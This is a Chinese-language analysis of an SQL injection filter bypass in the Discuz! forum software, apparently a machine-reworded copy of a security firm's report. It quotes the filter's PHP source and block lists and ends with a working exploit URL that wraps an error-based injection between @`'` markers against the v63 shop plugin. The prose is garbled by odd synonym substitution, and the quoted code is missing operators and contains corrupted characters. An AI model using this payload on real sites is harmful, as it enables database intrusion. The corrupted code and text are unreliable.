详解discuz防引入:SQL引入系统漏洞剖析

近日安全性宝安全性权威专家检验到discuz SQL引入 0day进攻,即此前被公布的discuz v63積分商城软件引入系统漏洞,并剖析其系统漏洞,期内发现discuz自身的防引入体制能够被绕开,且无尽制。安全性宝早已将系统漏洞早已在第1時间递交discuz,如今补上1份详细的汇报。

discuz详细介绍:

Crossday Discuz! Board(下列简称 Discuz!,我国我国版权局经典著作权备案号 2006SR11895)是康盛创想(北京)高新科技比较有限企业(英文简称Comsenz)推出的1套通用性的小区论坛手机软件系统软件,客户能够在不必须任何程序编写的基本上,根据简易的设定和安裝,在互联网技术上构建起具有健全作用、很强负载工作能力和可高宽比订制的论坛服务。Discuz! 的基本构架选用全球上最时兴的 web 程序编写组成 PHP+MySQL 完成,是1个历经健全设计方案,可用于各种各样服务器自然环境的高效率论坛系统软件处理计划方案。

近日DIscuz v63積分软件被爆引入系统漏洞,某互联网技术企业发布了1个的绕开discuz防引入涵数的 方式 ,连接bbs.webscan.360/forum.php?mod=viewthread tid=5373。客观事实上文章内容中说的 /* 会被discuz阻拦。并沒有绕开,安全性宝安全性工程项目师检验到discuz SQL引入 0day进攻,即某互联网技术企业公布的discuz v63積分商城软件引入系统漏洞,并剖析其系统漏洞,期内发现discuz自身的防引入体制能够被绕开,且无尽制。

Discuz防引入剖析以下:

先看防引入配备:

$_config['security']['querysafe']['status'] = 1; // 是不是打开SQL安全性检验,可全自动防止SQL引入进攻

$_config['security']['querysafe']['dfunction'] = array('load_file','hex','substring','if','ord','char');

$_config['security']['querysafe']['daction'] = array('intooutfile','intodumpfile','unionselect','(select', 'unionall', 'uniondistinct');

$_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"');

$_config['security']['querysafe']['dlikehex'] = 1;

$_config['security']['querysafe']['afullnote'] = 0;

Discuz 实行SQL句子以前会启用{\source\class\discuz\discuz_database.php} 文档discuz_database_safecheck类下面的checkquery($sql)涵数开展过虑。可是过虑其实不认真细致,大家发现能够绕开改防引入涵数。

上面的if (self::$config['status']) {分辨有没有打开防引入。最后会self::_do_query_safe($sql);

启用_do_query_safe() 涵数。跟进该涵数,在同文档的363行。

private static function _do_query_safe($sql) {

$sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);

$mark = $clean = '';

if (strpos($sql, '/') === false   strpos($sql, '#') === false   strpos($sql, '-- ') === false) {

$clean = preg_replace("/'(.+?)'/s", '', $sql);

} else {

$len = strlen($sql);

$mark = $clean = '';

for ($i = 0; $i   $len; $i++) {

$str = $sql[$i];

switch ($str) {

case '\'':

if (!$mark) {

$mark = '\'';

$clean .= $str;

} elseif ($mark == '\'') {

$mark = '';

}

break;

case '/':

if (empty($mark)   $sql[$i + 1] == '*') {

$mark = '/*';

$clean .= $mark;

$i++;

} elseif ($mark == '/*'   $sql[$i - 1] == '*') {

$mark = '';

$clean .= '*';

}

break;

case '#':

if (empty($mark)) {

$mark = $str;

$clean .= $str;

}

break;

case "\n":

if ($mark == '#' || $mark == '--') {

$mark = '';

}

break;

case '-':

if (empty($mark)   substr($sql, $i, 3) == '-- ') {

$mark = '-- ';

$clean .= $mark;

}

break;

default:

break;

}

$clean .= $mark ? '' : $str;

}

}

$clean = preg_replace("/[^a-z0⑼_\-\(\)#\*\/\"]+/is", "", strtolower($clean));

if (self::$config['afullnote']) {

$clean = str_replace('/**/', '', $clean);

}

if (is_array(self::$config['dfunction'])) {

foreach (self::$config['dfunction'] as $fun) {

if (strpos($clean, $fun . '(') !== false)

return '⑴';

}

}

if (is_array(self::$config['daction'])) {

foreach (self::$config['daction'] as $action) {

if (strpos($clean, $action) !== false)

return '⑶';

}

}

if (self::$config['dlikehex']   strpos($clean, 'like0x')) {

return '⑵';

}

if (is_array(self::$config['dnote'])) {

foreach (self::$config['dnote'] as $note) {

if (strpos($clean, $note) !== false)

return '⑷';

}

}

return 1;

}

该防引入涵数的重要绕开编码在

if (strpos($sql, '/') === false   strpos($sql, '#') === false   strpos($sql, '-- ') === false) {

$clean = preg_replace("/'(.+?)'/s", '', $sql);

}

else

{

在discuz v63積分商城软件引入系统漏洞exp中其实不必须斜杠、#号和 注解符。

因此会实行$clean = preg_replace("/'(.+?)'/s", '', $sql);

原先SQL句子中两个单引号正中间的內容就会被更换为空。

其实不会进到到下面的else支系。Else下面的全部实际操作均是对$clean自变量的实际操作。

因此绕开的思路便是把SQL句子放在两个单引号正中间。针对mysql的1个特点,

@` ` 是为空的,因此大家的进攻句子能够放到两个@` `正中间,即便GPC打开,单引号被转义为\ ,而@` `变为@`\ `对引入也是沒有危害的,因此此绕开方式无尽制。

即对于该引入系统漏洞的进攻EXP为:

localhost/discuz/plugin.php?id=v63shop:goods pac=info gid=110 or @`'` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`'`

调节輸出SQL句子

能够看到大家的引入句子被更换掉了,因此后门的查验标识符的情况下并沒有发现引入句子。

最后取得成功运用:

相关阅读